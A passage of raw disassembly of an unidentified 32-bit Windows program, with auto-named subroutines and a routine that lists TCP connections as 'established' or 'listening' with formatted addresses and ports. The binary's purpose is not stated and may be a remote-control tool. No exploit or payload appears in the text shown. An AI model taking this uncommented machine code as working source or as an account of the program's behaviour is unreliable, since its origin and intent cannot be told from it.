		call	sub_40214E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jnz	short loc_418BD8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C1A:				; CODE XREF: sub_418BC0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418BC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418C50	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C53
sub_418C50	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418C65
		mov	edi, esi


loc_418C65:				; CODE XREF: ___:00418C61j
		push	esi
		call	sub_4015D2
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418C7A
		mov	edi, esi


loc_418C7A:				; CODE XREF: ___:00418C76j
		push	esi
		call	sub_401B1D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CA0	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013F2
sub_418CA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CC0	proc near		; CODE XREF: sub_4015D2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418CC0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418CE0	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418CE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D00	proc near		; CODE XREF: sub_401528j
		mov	eax, ecx
		retn
sub_418D00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D20	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020E0
		mov	eax, esi
		pop	esi
		retn	4
sub_418D20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D50	proc near		; CODE XREF: sub_40221Bj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D80	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C8A
		mov	esi, eax
		push	esi
		call	sub_401A82
		push	esi
		mov	ebx, eax
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C58
		push	esi
		mov	ebx, eax
		call	sub_401A82
		mov	eax, [eax]
		push	eax
		call	sub_401C58
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401762
		push	esi
		mov	ecx, edi
		call	sub_4020E5
sub_418D80	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E40	proc near		; CODE XREF: sub_401D57j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_418E40	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418E60	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F0A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418E60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E90	proc near		; CODE XREF: sub_40214Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401ECE
		mov	esi, eax
		push	esi
		call	sub_4015D2
		push	esi
		mov	ebx, eax
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B1D
		push	esi
		mov	ebx, eax
		call	sub_4015D2
		mov	eax, [eax]
		push	eax
		call	sub_401B1D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018C5
		push	esi
		mov	ecx, edi
		call	sub_40205E
sub_418E90	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_401B1Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_418F50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F70	proc near		; CODE XREF: sub_401C53j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_418F70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418FA0	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_418FA0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FC0	proc near		; CODE XREF: sub_4020E0j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_418FC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FE0	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419010	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_8
		pop	ecx
		retn	4
sub_419010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419030	proc near		; CODE XREF: sub_4018C5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_419030	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419050	proc near		; CODE XREF: sub_401ECEj
		mov	eax, [ecx]
		retn
sub_419050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4190B0	proc near		; CODE XREF: sub_402103j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4190B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43E074
		call	sub_4367FA
sub_4190B0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_41911D
		mov	ecx, eax
		call	sub_401F0F
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41911D:				; CODE XREF: ___:004190FFj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419170	proc near		; CODE XREF: sub_401F0Fj
		push	0FFFFFFFFh
		push	offset SEH_419170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_4367FA
sub_419170	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_4191BE
		mov	ecx, eax
		call	sub_4015B9
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_4191BE:				; CODE XREF: ___:004191A1j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419200	proc near		; CODE XREF: sub_4015B9j
		mov	eax, ecx
		retn
sub_419200	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419220	proc near		; CODE XREF: sub_401965j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_419220	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4192C0	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4192C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017E4
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419669
		push	ebp
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401861
		xor	ebp, ebp
		push	offset dword_443D94
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013E3
		test	eax, eax
		jz	short loc_41936F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419389
; ---------------------------------------------------------------------------


loc_41936F:				; CODE XREF: sub_4192C0+A3j
		push	offset dword_443D90
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_419389
		mov	[esp+2B4h+var_2A0], 1


loc_419389:				; CODE XREF: sub_4192C0+ADj
					; sub_4192C0+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_443D84
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_419418
		mov	esi, dword_50FA9C
		add	eax, 2
		push	offset dword_443D84
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_419418
		mov	ecx, [ebx+32h]
		push	offset off_443D80
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_41964F


loc_419418:				; CODE XREF: sub_4192C0+123j
					; sub_4192C0+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_436C60
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_419645
		lea	ebp, [esi+14h]


loc_419454:				; CODE XREF: sub_4192C0+37Fj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419468
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_41962F


loc_419468:				; CODE XREF: sub_4192C0+198j
		mov	ax, [ebp-8]
		mov	esi, dword_50FC20
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401474
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401474
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_4194CC
		sub	eax, 3
		jnz	short loc_4194F2
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_4194D5
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_4192C0+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_4194D5:				; CODE XREF: sub_4192C0+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4194F2:				; CODE XREF: sub_4192C0+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419518
		xor	ebx, ebx


loc_419518:				; CODE XREF: sub_4192C0+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		call	near ptr 77C3FA76h
		nop
		mov	edi, ebx
		add	esp, 14h
		and	edi, 0FFFFh
		lea	eax, [esp+2B4h+var_118]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		lea	ecx, [esp+2C0h+var_224]
		push	8Bh
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 14h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_401424
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_4195B1
		cmp	eax, 1
		jz	loc_419616
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_4195A4
		cmp	eax, esi
		jnz	short loc_419616


loc_4195A4:				; CODE XREF: sub_4192C0+2DEj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_4195D7
; ---------------------------------------------------------------------------


loc_4195B1:				; CODE XREF: sub_4192C0+2CAj
		cmp	eax, 2
		jz	short loc_419616
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_4195C5
		cmp	eax, edi
		jnz	short loc_419616


loc_4195C5:				; CODE XREF: sub_4192C0+2FFj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_6	; "%s: %s"


loc_4195D7:				; CODE XREF: sub_4192C0+2EFj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_419616:				; CODE XREF: sub_4192C0+2CFj
					; sub_4192C0+2E2j ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_41962F:				; CODE XREF: sub_4192C0+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_419454


loc_419645:				; CODE XREF: sub_4192C0+18Bj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_41964F:				; CODE XREF: sub_4192C0+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_41966B
; ---------------------------------------------------------------------------


loc_419669:				; CODE XREF: sub_4192C0+3Dj
		mov	al, 1


loc_41966B:				; CODE XREF: sub_4192C0+3A7j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_4192C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419790	proc near		; CODE XREF: sub_401474j

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		nop
		call	near ptr 77C3FA76h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_419850
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_41981E
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_41981E
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_419850
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_41981E:				; CODE XREF: sub_419790+5Aj
					; sub_419790+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		nop
		call	near ptr 71AB50C8h
		test	eax, eax
		pop	edi
		jnz	short loc_419850
		lea	edx, [esp+2Ch+var_20]
		push	ebx
		push	edx
		push	ebp
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch


loc_419850:				; CODE XREF: sub_419790+52j
					; sub_419790+75j ...
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
sub_419790	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4198A0	proc near		; CODE XREF: sub_401EECj
		call	near ptr 27E08AFh
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		pop	ecx
		retn
sub_4198A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4198C0	proc near		; CODE XREF: sub_4021A3j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		nop
		call	near ptr 77C371D3h
		mov	esi, [esp+8+arg_0]
		mov	[esp+8+var_4], eax
		mov	eax, [esp+8+arg_4]
		fild	[esp+8+var_4]
		sub	eax, esi
		mov	[esp+8+arg_4], eax
		fimul	[esp+8+arg_4]
		fmul	dbl_43E0B0
		call	sub_4368EA
sub_4198C0	endp

; ---------------------------------------------------------------------------
		sub	esi, eax
		mov	eax, esi
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419910:				; CODE XREF: ___:00401C85j
		nop
		call	near ptr 77C371D3h
		cdq
		idiv	dword ptr [esp+4]
		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419930:				; CODE XREF: ___:0040151Ej
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419950:				; CODE XREF: ___:00401FC3j
		xor	al, al
		retn	4
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419970	proc near		; CODE XREF: sub_401523j

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		retn
sub_419970	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4199B0:				; CODE XREF: ___:00401505j
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_4199E3
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_4199E3
		mov	[esp+18h], eax


loc_4199E3:				; CODE XREF: ___:004199CBj
					; ___:004199DDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_506E6C


loc_4199F8:				; CODE XREF: ___:00419A49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419A4B
		cmp	byte ptr [esi],	0
		jz	short loc_419A34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419A28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419A28
		push	eax
		push	esi
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	short loc_419A34


loc_419A28:				; CODE XREF: ___:00419A0Fj
					; ___:00419A17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_401523
		add	esp, 10h


loc_419A34:				; CODE XREF: ___:00419A07j
					; ___:00419A26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50AE6C
		mov	[esp+14h], edx
		jl	short loc_4199F8


loc_419A4B:				; CODE XREF: ___:00419A02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: ___:00402266j
		push	ebx
		mov	ebx, dword_50FAF8
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_506E6C


